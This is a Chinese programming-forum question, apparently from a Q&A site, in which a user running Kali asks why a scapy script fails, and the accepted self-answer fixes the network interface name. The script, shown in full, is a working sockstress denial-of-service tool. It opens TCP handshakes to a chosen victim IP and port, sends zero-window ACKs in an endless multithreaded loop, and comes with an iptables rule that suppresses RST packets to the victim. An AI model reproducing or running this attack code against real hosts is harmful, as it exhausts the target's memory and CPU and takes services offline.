二哈它爸 2022-12-08 14:48 采纳率: 62.5%
浏览 26
已结题

kali运行lyshark.py文件报错OSError: [Errno 19] No such device

kali运行lyshark.py文件报错
报错信息如下
Exception ignored in: <function SuperSocket.__del__ at 0x7f3e37e9f4c0>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/scapy/supersocket.py", line 134, in __del__
    self.close()
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 514, in close
    set_promisc(self.ins, self.iface, 0)
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 165, in set_promisc
    mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"")
  File "/usr/lib/python3/dist-packages/scapy/arch/linux.py", line 380, in get_if_index
    return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0])
  File "/usr/lib/python3/dist-packages/scapy/arch/common.py", line 59, in get_if
    ifreq = ioctl(sck, cmd, struct.pack("16s16x", iff.encode("utf8")))
OSError: [Errno 19] No such device
Traceback (most recent call last):
  File "lyshark.py", line 43, in <module>
    t.start()
  File "/usr/lib/python3.8/threading.py", line 852, in start
    _start_new_thread(self._bootstrap, ())
RuntimeError: can't start new thread

下面是运行代码
# -*- coding: utf-8 -*- 
    
#iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 受害IP -j DROP
from optparse import OptionParser
import socket,sys,random,threading
from scapy.all import *

scapy.config.conf.iface = 'ens32'

# 攻击目标主机的Window窗口,实现目标主机内存CPU等消耗殆尽
def sockstress(target,dstport):
    semaphore.acquire()       # 加锁
    isport = random.randint(0,65535)  #随机选择受害主机的一个端口
    response = sr1(IP(dst=target)/TCP(sport=isport,dport=dstport,flags="S"),timeout=1,verbose=0)  #发送三层包
    send(IP(dst=target)/ TCP(dport=dstport,sport=isport,window=0,flags="A",ack=(response[TCP].seq +1))/'\x00\x00',verbose=0)

    print("[+] sendp --> {} {}".format(target,isport))
    semaphore.release()       # 释放锁

def Banner():
    print("  _          ____  _                _    ")
    print(" | |   _   _/ ___|| |__   __ _ _ __| | __")
    print(" | |  | | | \___ \| '_ \ / _` | '__| |/ /")
    print(" | |__| |_| |___) | | | | (_| | |  |   < ")
    print(" |_____\__, |____/|_| |_|\__,_|_|  |_|\_\\")
    print("       |___/                             \n")
    print("E-Mail: me@lyshark.com\n")

if __name__ == "__main__":
    Banner()
    parser = OptionParser()
    parser.add_option("-H","--host",dest="host",type="string",help="输入被攻击主机IP地址")
    parser.add_option("-p","--port",dest="port",type="int",help="输入被攻击主机端口")
    parser.add_option("--type",dest="types",type="string",help="指定攻击的载荷 (synflood/sockstress)")
    parser.add_option("-t","--thread",dest="thread",type="int",help="指定攻击并发线程数")
    (options,args) = parser.parse_args()

    # 使用方式: main.py --type=sockstress -H 192.168.1.1 -p 80 -t 10
    if options.types == "sockstress" and options.host and options.port and options.thread:
        semaphore = threading.Semaphore(options.thread)
        while True:
            t = threading.Thread(target=sockstress,args=(options.host,options.port))
            t.start()
    else:
        parser.print_help()






kali是192.168.56.20 ,受害主机是win7,ip为192.168.56.10,能ping通
运行代码就报错“找不到设备“,希望各位朋友帮忙看一下
  • 写回答

2条回答 默认 最新

  • 二哈它爸 2022-12-08 22:16
    关注

    我的代码问题在于:scapy.config.conf.iface = 'ens32',将这行代码改成scapy.config.conf.iface = 'eth0'即可

    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论
查看更多回答(1条)

报告相同问题?

问题事件

  • 系统已结题 12月16日
  • 已采纳回答 12月8日
  • 创建了问题 12月8日

悬赏问题

  • ¥100 c语言,请帮蒟蒻看一个题
  • ¥15 名为“Product”的列已属于此 DataTable
  • ¥15 安卓adb backup备份应用数据失败
  • ¥15 eclipse运行项目时遇到的问题
  • ¥15 关于#c##的问题:最近需要用CAT工具Trados进行一些开发
  • ¥15 南大pa1 小游戏没有界面,并且报了如下错误,尝试过换显卡驱动,但是好像不行
  • ¥15 没有证书,nginx怎么反向代理到只能接受https的公网网站
  • ¥50 成都蓉城足球俱乐部小程序抢票
  • ¥15 yolov7训练自己的数据集
  • ¥15 esp8266与51单片机连接问题(标签-单片机|关键词-串口)(相关搜索:51单片机|单片机|测试代码)